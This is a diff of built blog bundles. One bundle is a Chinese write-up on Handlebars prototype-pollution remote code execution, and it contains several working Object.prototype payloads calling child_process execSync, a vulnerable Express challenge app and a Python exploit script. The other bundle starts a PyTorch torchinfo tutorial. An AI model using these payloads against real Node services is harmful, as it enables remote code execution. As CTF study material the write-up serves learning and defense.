hb);\n };\n\n return hb;\n}\n"})}),"\n",(0,s.jsx)(n.h3,{id:"\u6a21\u677f\u51fd\u6570\u6267\u884c",children:"\u6a21\u677f\u51fd\u6570\u6267\u884c"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"// node_modules\\handlebars\\dist\\cjs\\handlebars\\compiler\\compiler.js\n\n function ret(context, execOptions) {\n if (!compiled) {\n compiled = compileInput();\n }\n return compiled.call(this, context, execOptions); // \u6267\u884c\u51fd\u6570\u83b7\u53d6\u8fd4\u56de\u503c\n }\n// node_modules\\handlebars\\dist\\cjs\\handlebars\\runtime.js\n\n function ret(context) {\n var options = arguments.length <= 1 || arguments[1] === undefined ? {} : arguments[1];\n\n var data = options.data;\n\n ret._setup(options);\n if (!options.partial && templateSpec.useData) {\n data = initData(context, data);\n }\n var depths = undefined,\n blockParams = templateSpec.useBlockParams ? [] : undefined;\n if (templateSpec.useDepths) {\n if (options.depths) {\n depths = context != options.depths[0] ? [context].concat(options.depths) : options.depths;\n } else {\n depths = [context];\n }\n }\n\n function main(context /*, options*/) {\n return '' + templateSpec.main(container, context, container.helpers, container.partials, data, blockParams, depths); \n }\n\n main = executeDecorators(templateSpec.main, main, container, options.depths || [], data, blockParams); // \u5bf9main\u51fd\u6570\u8fdb\u884c\u88c5\u9970\n return main(context, options); // \u6267\u884cmain\u51fd\u6570\n }\n"})}),"\n",(0,s.jsx)(n.h3,{id:"\u88ab\u6c61\u67d3\u7684\u51fd\u6570",children:"\u88ab\u6c61\u67d3\u7684\u51fd\u6570"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:'(function anonymous(container,depth0,helpers,partials,data\n) {\n var stack1, lookupProperty = container.lookupProperty || function(parent, propertyName) {\n if (Object.prototype.hasOwnProperty.call(parent, propertyName)) {\n return parent[propertyName];\n }\n return undefined\n };\n\n return ((stack1 = (lookupProperty(helpers,"undefined")||(depth0 && lookupProperty(depth0,"undefined"))||container.hooks.helperMissing).call(depth0 != null ? depth0 : (container.nullContext || {}),console.log(process.mainModule.require(\'child_process\').execSync(\'calc.exe\').toString()),{"name":"undefined","hash":{},"data":data,"loc":{"start":0,"end":0}})) != null ? stack1 : "");\n\n})\n'})}),"\n",(0,s.jsx)(n.h2,{id:"\u603b\u7ed3",children:"\u603b\u7ed3"}),"\n",(0,s.jsxs)(n.ol,{children:["\n",(0,s.jsxs)(n.li,{children:["\n",(0,s.jsxs)(n.p,{children:["\u6f0f\u6d1e\u6838\u5fc3\u5728\u4e8e\u6c61\u67d3\u7f16\u8bd1\u8fc7\u7a0b\u4e2d\u7684",(0,s.jsx)(n.code,{children:"pushLiteral"}),"\u64cd\u4f5c\uff0c\u5176\u4e2d\u53ef\u4ee5\u7528\u5230",(0,s.jsx)(n.code,{children:"NumberLiteral"}),"\u7c7b\u578b\u548c",(0,s.jsx)(n.code,{children:"BooleanLiteral"}),"\u7c7b\u578b"]}),"\n"]}),"\n",(0,s.jsxs)(n.li,{children:["\n",(0,s.jsxs)(n.p,{children:["\u4ee4",(0,s.jsx)(n.code,{children:"type"}),"\u4e3a",(0,s.jsx)(n.code,{children:"Program"}),"\u7ed5\u8fc7",(0,s.jsx)(n.code,{children:"Lexer"}),"\u89e3\u6790\u5668\uff0c\u4ece",(0,s.jsx)(n.code,{children:"compiler.js"}),"\u627e\u5230\u53ef\u7528\u7684",(0,s.jsx)(n.code,{children:"Gadget"})]}),"\n"]}),"\n",(0,s.jsxs)(n.li,{children:["\n",(0,s.jsxs)(n.p,{children:["\u5728\u5bfb\u627e",(0,s.jsx)(n.code,{children:"Gadget"}),"\u65f6\u6ce8\u610f\u4fdd\u6301\u8bed\u6cd5\u6811\u7684\u6808\u5e73\u8861\uff0c\u4e0d\u7136\u4f1a\u5728\u7f16\u8bd1\u7684\u65f6\u5019\u629b\u51fa\u5982\u4e0b\u9519\u8bef\uff0c\u8fd9\u4e5f\u662f\u4e3a\u4ec0\u4e48\u6211\u4eec\u9700\u8981\u501f\u52a9",(0,s.jsx)(n.code,{children:"MustacheStatement"}),"\u7c7b\u578b\u6ce8\u5165\u6211\u4eec\u7684payload\uff0c\u800c\u4e0d\u80fd\u76f4\u63a5\u5c06",(0,s.jsx)(n.code,{children:"NumberLiteral"}),"\u6ce8\u5165\u5230",(0,s.jsx)(n.code,{children:"body"}),"\u4e2d"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"/* istanbul ignore next */\nif (this.stackSlot || this.inlineStack.length || this.compileStack.length) {\n throw new _exception2['default']('Compile completed with content left on stack');\n}\n"})}),"\n"]}),"\n"]}),"\n",(0,s.jsx)(n.h2,{id:"\u62d3\u5c55",children:"\u62d3\u5c55"}),"\n",(0,s.jsx)(n.h3,{id:"booleanliteral",children:"BooleanLiteral"}),"\n",(0,s.jsxs)(n.p,{children:["\u5c06",(0,s.jsx)(n.code,{children:"NumberLiteral"}),"\u66ff\u6362\u4e3a",(0,s.jsx)(n.code,{children:"BooleanLiteral"})]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:'const Handlebars = require(\'handlebars\');\n\nObject.prototype.type = \'Program\';\nObject.prototype.body = [{\n "type": "MustacheStatement",\n "params": [{\n "type": "BooleanLiteral",\n "value": "console.log(process.mainModule.require(\'child_process\').execSync(\'calc.exe\').toString())"\n }],\n "path": 0,\n "loc": { "start": 0 }\n}];\n\nvar source = "<h1>It works!</h1>";\nvar template = Handlebars.compile(source);\nconsole.log(template({}));\n'})}),"\n",(0,s.jsx)(n.h3,{id:"partialstatement",children:"PartialStatement"}),"\n",(0,s.jsxs)(n.p,{children:["\u5c06",(0,s.jsx)(n.code,{children:"MustacheStatement"}),"\u6539\u4e3a",(0,s.jsx)(n.code,{children:"PartialStatement"})]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:'const Handlebars = require(\'handlebars\');\n\nObject.prototype.type = \'Program\';\nObject.prototype.body = [{\n "type": "PartialStatement",\n "name": "",\n "params": [{\n "type": "NumberLiteral",\n "value": "console.log(process.mainModule.require(\'child_process\').execSync(\'calc.exe\').toString())"\n }]\n}];\n\nvar source = "<h1>It works!</h1>";\nvar template = Handlebars.compile(source);\nconsole.log(template({}));\n'})}),"\n",(0,s.jsx)(n.h3,{id:"partialblockstatement",children:"PartialBlockStatement"}),"\n",(0,s.jsxs)(n.p,{children:["\u5c06",(0,s.jsx)(n.code,{children:"MustacheStatement"}),"\u6539\u4e3a",(0,s.jsx)(n.code,{children:"PartialBlockStatement"})]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:'const Handlebars = require(\'handlebars\');\n\nObject.prototype.type = \'Program\';\nObject.prototype.body = [{\n "type": "PartialBlockStatement",\n "params": [{\n "type": "NumberLiteral",\n "value": "console.log(process.mainModule.require(\'child_process\').execSync(\'calc.exe\').toString())"\n }],\n "name": 0,\n "openStrip": 0,\n "closeStrip": 0,\n "program": { "body": 0 },\n}];\n\nvar source = "<h1>It works!</h1>";\nvar template = Handlebars.compile(source);\nconsole.log(template({}));\n'})}),"\n",(0,s.jsx)(n.h3,{id:"blockstatement",children:"BlockStatement"}),"\n",(0,s.jsxs)(n.p,{children:["\u5c06",(0,s.jsx)(n.code,{children:"MustacheStatement"}),"\u6539\u4e3a",(0,s.jsx)(n.code,{children:"BlockStatement"})]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:'const Handlebars = require(\'handlebars\');\n\nObject.prototype.type = \'Program\';\nObject.prototype.body = [{\n "type": "BlockStatement",\n "params": [{\n "type": "NumberLiteral",\n "value": "console.log(process.mainModule.require(\'child_process\').execSync(\'calc.exe\').toString())"\n }],\n "path": 0,\n "loc": 0,\n "openStrip": 0,\n "closeStrip": 0,\n "program": { "body": 0 }\n}];\n\nvar source = "<h1>It works!</h1>";\nvar template = Handlebars.compile(source);\nconsole.log(template({}));\n'})}),"\n",(0,s.jsx)(n.h3,{id:"decorator",children:"Decorator"}),"\n",(0,s.jsxs)(n.p,{children:["\u89e6\u53d1\u70b9\u548c\u4e0a\u9762\u7684\u6709\u6240\u5dee\u5f02\uff0c\u8fd9\u4e2a\u662f\u5728\u88c5\u9970",(0,s.jsx)(n.code,{children:"main"}),"\u51fd\u6570\u7684\u65f6\u5019\u63d2\u5165\u81ea\u5b9a\u4e49\u4ee3\u7801"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:'const Handlebars = require(\'handlebars\');\n\nObject.prototype.type = \'Program\';\nObject.prototype.body = [{\n "type": "Decorator",\n "params": [{\n "type": "NumberLiteral",\n "value": "console.log(process.mainModule.require(\'child_process\').execSync(\'calc.exe\').toString())"\n }],\n\t"path": 0,\n "loc": { "start": 0 }\n}];\n\nvar source = "<h1>It works!</h1>";\nvar template = Handlebars.compile(source);\nconsole.log(template({}));\n'})}),"\n",(0,s.jsx)(n.h3,{id:"inf-hash",children:"inf Hash"}),"\n",(0,s.jsxs)(n.p,{children:["\u65e0\u9650\u5185\u5d4c",(0,s.jsx)(n.code,{children:"Hash"}),"\u7c7b\u578b"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:'const Handlebars = require(\'handlebars\');\n\nObject.prototype.type = \'Program\';\nObject.prototype.body = [{\n "type": "MustacheStatement",\n "params": [{\n "type": "Hash",\n "pairs": [{\n "value":{\n "type": "Hash",\n "pairs": [{\n "value":{\n "type": "NumberLiteral",\n "value": "console.log(process.mainModule.require(\'child_process\').execSync(\'calc.exe\').toString())"\n }}]\n }}]\n }],\n "path": 0,\n "loc": { "start": 0 }\n}];\n\nvar source = "<h1>It works!</h1>";\nvar template = Handlebars.compile(source);\nconsole.log(template({}));\n'})}),"\n",(0,s.jsx)(n.h2,{id:"\u4f8b\u9898",children:"\u4f8b\u9898"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-sh",children:'const express = require(\'express\');\nconst app = express();\nconst fs = require("fs")\nconst mergeValue = require("merge-value")\nconst bodyParser = require(\'body-parser\')\nconst handlebars = require("handlebars");\napp.use(bodyParser.json())\n\n/*\n"dependencies": {\n "body-parser": "^1.19.0",\n "express": "^4.17.1",\n "merge-value": "^0.1.1",\n "handlebars": "^4.7.7"\n }\n */\napp.post(\'/template\', function (req, res) {\n let defaultTemplate = {\n "text": {\n "title": "WriteUp"\n },\n "template": "{{this.title}}{{this.body}}",\n "waf": {\n "black1": "__proto__",\n "black2": "programa"\n }\n }\n //\u7981\u6b62\u8986\u76d6\u539f\u59cb\u7684waf\u503c\n if(req.body.wafkey && req.body.wafdata) {\n if (defaultTemplate["waf"][req.body.wafkey]) {\n defaultTemplate["waf"]["custom" + req.body.wafkey] = req.body.wafdata[req.body.wafkey]\n } else {\n defaultTemplate["waf"][req.body.wafkey] = req.body.wafData[req.body.wafkey]\n }\n }\n //\u53d6\u51fa\u6240\u6709\u7684waf\u503c\n let waf = defaultTemplate["waf"]\n let wafList = []\n for(let wafWord in waf){\n wafList.push(waf[wafWord])\n }\n for(let requestKey in req.body){\n if(typeof req.body[requestKey] === \'string\'){\n for(let index in wafList){\n if(req.body[requestKey].toLowerCase().endsWith(wafList[index])){\n res.send("waf");\n return;\n }\n }\n }\n }\n let templateData = mergeValue(defaultTemplate,req.body.pathKey,req.body.data)\n // console.log(templateData,defaultTemplate)\n let template = handlebars.compile(templateData["template"]);\n res.send(template(templateData["text"]));\n});\n\napp.get(\'/\', function (req, res) {\n res.send(\'see `/src`\');\n});\n\n\napp.get(\'/src\', function (req, res) {\n var data = fs.readFileSync(\'index.js\');\n res.send(data.toString());\n});\n\napp.listen(3000, function () {\n console.log(\'start listening on port 3000\');\n});\n\n'})}),"\n",(0,s.jsxs)(n.blockquote,{children:["\n",(0,s.jsx)(n.p,{children:"\u6ce8\u610f\u9898\u76ee\u73af\u5883"}),"\n"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-json",children:'{\n "dependencies": {\n "body-parser": "1.19.0",\n "express": "4.17.1",\n "handlebars": "4.7.6",\n "merge-value": "1.0",\n "mixin-deep": "^1.2.0",\n "set-value": "^2.0.0"\n }\n}\n\n'})}),"\n",(0,s.jsxs)(n.p,{children:["\u8fd9\u91cc\u53ef\u4ee5\u901a\u8fc7 ",(0,s.jsx)(n.code,{children:"mergeValue"})," \u539f\u578b\u94fe\u6c61\u67d3\uff0c\u53bb\u6c61\u67d3 ",(0,s.jsx)(n.code,{children:'templateData["text"]'})," \u7684",(0,s.jsx)(n.code,{children:"__proto__"})," \uff0c\u7531\u4e8e\u524d\u9762\u603b\u7ed3\u7684\u5f88\u5230\u4f4d\u6211\u8fd9\u91cc\u5c31\u8865\u5145\u4e00\u4e0b\uff0c\u8fd9\u91cc\u662fwp"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python3",children:'import requests\n\npayload = {\n "__proto__": {\n "type": "Program",\n "body": [{\n "type": "MustacheStatement",\n "path": 0,\n "params": [{\n "type": "NumberLiteral",\n "value": "console.log(process.mainModule.require(\'child_process\').execSync(\'open -a Calculator\').toString())"\n }],\n "loc": {\n "start": 0\n }\n }]\n }\n}\n\nurl = "http://192.168.3.91:3000/template"\ndata = {\n "pathKey": "text",\n "data": payload\n}\nprint(data)\ntext = requests.post(url, json=data,proxies={"http":"http://127.0.0.1:8080"})\nprint(text.text)\n\n'})}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{alt:"image-20251014205208357",src:t(44449).A+"",width:"1712",height:"1236"})})]})}function p(e={}){const{wrapper:n}={...(0,a.R)(),...e.components};return n?(0,s.jsx)(n,{...e,children:(0,s.jsx)(d,{...e})}):d(e)}}}]); \ No newline at end of file diff --git a/en/assets/js/54e07f68.b0847713.js b/en/assets/js/54e07f68.b0847713.js new file mode 100644 index 0000000..76c3484 --- /dev/null +++ b/en/assets/js/54e07f68.b0847713.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[2614],{7303:(n,e,t)=>{t.r(e),t.d(e,{assets:()=>c,contentTitle:()=>l,default:()=>h,frontMatter:()=>i,metadata:()=>r,toc:()=>d});const r=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/7.1 \u53ef\u89c6\u5316\u7f51\u7edc\u7ed3\u6784","title":"7.1 \u53ef\u89c6\u5316\u7f51\u7edc\u7ed3\u6784.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/07.\u7b2c\u4e03\u7ae0/7.1 \u53ef\u89c6\u5316\u7f51\u7edc\u7ed3\u6784.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/07.\u7b2c\u4e03\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/7.1 \u53ef\u89c6\u5316\u7f51\u7edc\u7ed3\u6784","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/7.1 \u53ef\u89c6\u5316\u7f51\u7edc\u7ed3\u6784","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/07.\u7b2c\u4e03\u7ae0/7.1 \u53ef\u89c6\u5316\u7f51\u7edc\u7ed3\u6784.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u7b2c\u4e03\u7ae0","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/"},"next":{"title":"7.2 CNN\u5377\u79ef\u5c42\u53ef\u89c6\u5316.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/7.2 CNN\u5377\u79ef\u5c42\u53ef\u89c6\u5316"}}');var s=t(74848),o=t(28453);const i={},l="7.1 \u53ef\u89c6\u5316\u7f51\u7edc\u7ed3\u6784.md",c={},d=[{value:"7.1.1 \u4f7f\u7528print\u51fd\u6570\u6253\u5370\u6a21\u578b\u57fa\u7840\u4fe1\u606f",id:"711-\u4f7f\u7528print\u51fd\u6570\u6253\u5370\u6a21\u578b\u57fa\u7840\u4fe1\u606f",level:2},{value:"7.1.2 \u4f7f\u7528torchinfo\u53ef\u89c6\u5316\u7f51\u7edc\u7ed3\u6784",id:"712-\u4f7f\u7528torchinfo\u53ef\u89c6\u5316\u7f51\u7edc\u7ed3\u6784",level:2}];function a(n){const e={a:"a",code:"code",h1:"h1",h2:"h2",header:"header",img:"img",li:"li",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,o.R)(),...n.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsx)(e.header,{children:(0,s.jsx)(e.h1,{id:"71-\u53ef\u89c6\u5316\u7f51\u7edc\u7ed3\u6784md",children:"7.1 \u53ef\u89c6\u5316\u7f51\u7edc\u7ed3\u6784.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(e.table,{children:[(0,s.jsx)(e.thead,{children:(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(e.tbody,{children:(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"left"},children:(0,s.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:26"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(e.table,{children:[(0,s.jsx)(e.thead,{children:(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(e.tbody,{children:(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"left"},children:(0,s.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(e.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,s.jsx)(e.h1,{id:"71-\u53ef\u89c6\u5316\u7f51\u7edc\u7ed3\u6784",children:"7.1 \u53ef\u89c6\u5316\u7f51\u7edc\u7ed3\u6784"}),"\n",(0,s.jsxs)(e.p,{children:["\u968f\u7740\u6df1\u5ea6\u795e\u7ecf\u7f51\u7edc\u505a\u7684\u7684\u53d1\u5c55\uff0c\u7f51\u7edc\u7684\u7ed3\u6784\u8d8a\u6765\u8d8a\u590d\u6742\uff0c\u6211\u4eec\u4e5f\u5f88\u96be\u786e\u5b9a\u6bcf\u4e00\u5c42\u7684\u8f93\u5165\u7ed3\u6784\uff0c\u8f93\u51fa\u7ed3\u6784\u4ee5\u53ca\u53c2\u6570\u7b49\u4fe1\u606f\uff0c\u8fd9\u6837\u5bfc\u81f4\u6211\u4eec\u5f88\u96be\u5728\u77ed\u65f6\u95f4\u5185\u5b8c\u6210debug\u3002\u56e0\u6b64\u638c\u63e1\u4e00\u4e2a\u53ef\u4ee5\u7528\u6765\u53ef\u89c6\u5316\u7f51\u7edc\u7ed3\u6784\u7684\u5de5\u5177\u662f\u5341\u5206\u6709\u5fc5\u8981\u7684\u3002\u7c7b\u4f3c\u7684\u529f\u80fd\u5728\u53e6\u4e00\u4e2a\u6df1\u5ea6\u5b66\u4e60\u5e93Keras\u4e2d\u53ef\u4ee5\u8c03\u7528\u4e00\u4e2a\u53eb\u505a",(0,s.jsx)(e.code,{children:"model.summary()"}),"\u7684API\u6765\u5f88\u65b9\u4fbf\u5730\u5b9e\u73b0\uff0c\u8c03\u7528\u540e\u5c31\u4f1a\u663e\u793a\u6211\u4eec\u7684\u6a21\u578b\u53c2\u6570\uff0c\u8f93\u5165\u5927\u5c0f\uff0c\u8f93\u51fa\u5927\u5c0f\uff0c\u6a21\u578b\u7684\u6574\u4f53\u53c2\u6570\u7b49\uff0c\u4f46\u662f\u5728PyTorch\u4e2d\u6ca1\u6709\u8fd9\u6837\u4e00\u79cd\u4fbf\u5229\u7684\u5de5\u5177\u5e2e\u52a9\u6211\u4eec\u53ef\u89c6\u5316\u6211\u4eec\u7684\u6a21\u578b\u7ed3\u6784\u3002"]}),"\n",(0,s.jsx)(e.p,{children:"\u4e3a\u4e86\u89e3\u51b3\u8fd9\u4e2a\u95ee\u9898\uff0c\u4eba\u4eec\u5f00\u53d1\u4e86torchinfo\u5de5\u5177\u5305 ( torchinfo\u662f\u7531torchsummary\u548ctorchsummaryX\u91cd\u6784\u51fa\u7684\u5e93) \u3002\u672c\u8282\u6211\u4eec\u5c06\u4ecb\u7ecd\u5982\u4f55\u4f7f\u7528torchinfo\u6765\u53ef\u89c6\u5316\u7f51\u7edc\u7ed3\u6784\u3002"}),"\n",(0,s.jsx)(e.p,{children:"\u7ecf\u8fc7\u672c\u8282\u7684\u5b66\u4e60\uff0c\u4f60\u5c06\u6536\u83b7\uff1a"}),"\n",(0,s.jsxs)(e.ul,{children:["\n",(0,s.jsx)(e.li,{children:"\u53ef\u89c6\u5316\u7f51\u7edc\u7ed3\u6784\u7684\u65b9\u6cd5"}),"\n"]}),"\n",(0,s.jsx)(e.h2,{id:"711-\u4f7f\u7528print\u51fd\u6570\u6253\u5370\u6a21\u578b\u57fa\u7840\u4fe1\u606f",children:"7.1.1 \u4f7f\u7528print\u51fd\u6570\u6253\u5370\u6a21\u578b\u57fa\u7840\u4fe1\u606f"}),"\n",(0,s.jsx)(e.p,{children:"\u5728\u672c\u8282\u4e2d\uff0c\u6211\u4eec\u5c06\u4f7f\u7528ResNet18\u7684\u7ed3\u6784\u8fdb\u884c\u5c55\u793a\u3002"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-python",children:"import torchvision.models as models\nmodel = models.resnet18()\n"})}),"\n",(0,s.jsx)(e.p,{children:"\u901a\u8fc7\u4e0a\u9762\u7684\u4e24\u6b65\uff0c\u6211\u4eec\u5c31\u5f97\u5230resnet18\u7684\u6a21\u578b\u7ed3\u6784\u3002\u5728\u5b66\u4e60torchinfo\u4e4b\u524d\uff0c\u8ba9\u6211\u4eec\u5148\u770b\u4e0b\u76f4\u63a5print(model)\u7684\u7ed3\u679c\u3002"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-python",children:"ResNet(\n (conv1): Conv2d(3, 64, kernel_size=(7, 7), stride=(2, 2), padding=(3, 3), bias=False)\n (bn1): BatchNorm2d(64, eps=1e-05, momentum=0.1, affine=True, track_running_stats=True)\n (relu): ReLU(inplace=True)\n (maxpool): MaxPool2d(kernel_size=3, stride=2, padding=1, dilation=1, ceil_mode=False)\n (layer1): Sequential(\n (0): Bottleneck(\n (conv1): Conv2d(64, 64, kernel_size=(1, 1), stride=(1, 1), bias=False)\n (bn1): BatchNorm2d(64, eps=1e-05, momentum=0.1, affine=True, track_running_stats=True)\n (conv2): Conv2d(64, 64, kernel_size=(3, 3), stride=(1, 1), padding=(1, 1), bias=False)\n (bn2): BatchNorm2d(64, eps=1e-05, momentum=0.1, affine=True, track_running_stats=True)\n (conv3): Conv2d(64, 256, kernel_size=(1, 1), stride=(1, 1), bias=False)\n (bn3): BatchNorm2d(256, eps=1e-05, momentum=0.1, affine=True, track_running_stats=True)\n (relu): ReLU(inplace=True)\n (downsample): Sequential(\n (0): Conv2d(64, 256, kernel_size=(1, 1), stride=(1, 1), bias=False)\n (1): BatchNorm2d(256, eps=1e-05, momentum=0.1, affine=True, track_running_stats=True)\n )\n )\n ... ...\n )\n (avgpool): AdaptiveAvgPool2d(output_size=(1, 1))\n (fc): Linear(in_features=2048, out_features=1000, bias=True)\n)\n"})}),"\n",(0,s.jsxs)(e.p,{children:["\u6211\u4eec\u53ef\u4ee5\u53d1\u73b0\u5355\u7eaf\u7684print(model)\uff0c\u53ea\u80fd\u5f97\u51fa\u57fa\u7840\u6784\u4ef6\u7684\u4fe1\u606f\uff0c\u65e2\u4e0d\u80fd\u663e\u793a\u51fa\u6bcf\u4e00\u5c42\u7684shape\uff0c\u4e5f\u4e0d\u80fd\u663e\u793a\u5bf9\u5e94\u53c2\u6570\u91cf\u7684\u5927\u5c0f\uff0c\u4e3a\u4e86\u89e3\u51b3\u8fd9\u4e9b\u95ee\u9898\uff0c\u6211\u4eec\u5c31\u9700\u8981\u4ecb\u7ecd\u51fa\u6211\u4eec\u4eca\u5929\u7684\u4e3b\u4eba\u516c",(0,s.jsx)(e.code,{children:"torchinfo"}),"\u3002"]}),"\n",(0,s.jsx)(e.h2,{id:"712-\u4f7f\u7528torchinfo\u53ef\u89c6\u5316\u7f51\u7edc\u7ed3\u6784",children:"7.1.2 \u4f7f\u7528torchinfo\u53ef\u89c6\u5316\u7f51\u7edc\u7ed3\u6784"}),"\n",(0,s.jsxs)(e.ul,{children:["\n",(0,s.jsx)(e.li,{children:(0,s.jsx)(e.strong,{children:"torchinfo\u7684\u5b89\u88c5"})}),"\n"]}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-bash",children:"# \u5b89\u88c5\u65b9\u6cd5\u4e00\npip install torchinfo \n# \u5b89\u88c5\u65b9\u6cd5\u4e8c\nconda install -c conda-forge torchinfo\n"})}),"\n",(0,s.jsxs)(e.ul,{children:["\n",(0,s.jsx)(e.li,{children:(0,s.jsx)(e.strong,{children:"torchinfo\u7684\u4f7f\u7528"})}),"\n"]}),"\n",(0,s.jsxs)(e.p,{children:["trochinfo\u7684\u4f7f\u7528\u4e5f\u662f\u5341\u5206\u7b80\u5355\uff0c\u6211\u4eec\u53ea\u9700\u8981\u4f7f\u7528",(0,s.jsx)(e.code,{children:"torchinfo.summary()"}),"\u5c31\u884c\u4e86\uff0c\u5fc5\u9700\u7684\u53c2\u6570\u5206\u522b\u662fmodel\uff0cinput_size[batch_size,channel,h,w]\uff0c\u66f4\u591a\u53c2\u6570\u53ef\u4ee5\u53c2\u8003",(0,s.jsx)(e.a,{href:"https://github.com/TylerYep/torchinfo#documentation",children:"documentation"}),"\uff0c\u4e0b\u9762\u8ba9\u6211\u4eec\u4e00\u8d77\u901a\u8fc7\u4e00\u4e2a\u5b9e\u4f8b\u8fdb\u884c\u5b66\u4e60\u3002"]}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-python",children:"import torchvision.models as models\nfrom torchinfo import summary\nresnet18 = models.resnet18() # \u5b9e\u4f8b\u5316\u6a21\u578b\nsummary(resnet18, (1, 3, 224, 224)) # 1\uff1abatch_size 3:\u56fe\u7247\u7684\u901a\u9053\u6570 224: \u56fe\u7247\u7684\u9ad8\u5bbd\n"})}),"\n",(0,s.jsxs)(e.ul,{children:["\n",(0,s.jsx)(e.li,{children:(0,s.jsx)(e.strong,{children:"torchinfo\u7684\u7ed3\u6784\u5316\u8f93\u51fa"})}),"\n"]}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-bash",children:"=========================================================================================\nLayer (type:depth-idx) Output Shape Param #\n=========================================================================================\nResNet -- --\n\u251c\u2500Conv2d: 1-1 [1, 64, 112, 112] 9,408\n\u251c\u2500BatchNorm2d: 1-2 [1, 64, 112, 112] 128\n\u251c\u2500ReLU: 1-3 [1, 64, 112, 112] --\n\u251c\u2500MaxPool2d: 1-4 [1, 64, 56, 56] --\n\u251c\u2500Sequential: 1-5 [1, 64, 56, 56] --\n\u2502 \u2514\u2500BasicBlock: 2-1 [1, 64, 56, 56] --\n\u2502 \u2502 \u2514\u2500Conv2d: 3-1 [1, 64, 56, 56] 36,864\n\u2502 \u2502 \u2514\u2500BatchNorm2d: 3-2 [1, 64, 56, 56] 128\n\u2502 \u2502 \u2514\u2500ReLU: 3-3 [1, 64, 56, 56] --\n\u2502 \u2502 \u2514\u2500Conv2d: 3-4 [1, 64, 56, 56] 36,864\n\u2502 \u2502 \u2514\u2500BatchNorm2d: 3-5 [1, 64, 56, 56] 128\n\u2502 \u2502 \u2514\u2500ReLU: 3-6 [1, 64, 56, 56] --\n\u2502 \u2514\u2500BasicBlock: 2-2 [1, 64, 56, 56] --\n\u2502 \u2502 \u2514\u2500Conv2d: 3-7 [1, 64, 56, 56] 36,864\n\u2502 \u2502 \u2514\u2500BatchNorm2d: 3-8 [1, 64, 56, 56] 128\n\u2502 \u2502 \u2514\u2500ReLU: 3-9 [1, 64, 56, 56] --\n\u2502 \u2502 \u2514\u2500Conv2d: 3-10 [1, 64, 56, 56] 36,864\n\u2502 \u2502 \u2514\u2500BatchNorm2d: 3-11 [1, 64, 56, 56] 128\n\u2502 \u2502 \u2514\u2500ReLU: 3-12 [1, 64, 56, 56] --\n\u251c\u2500Sequential: 1-6 [1, 128, 28, 28] 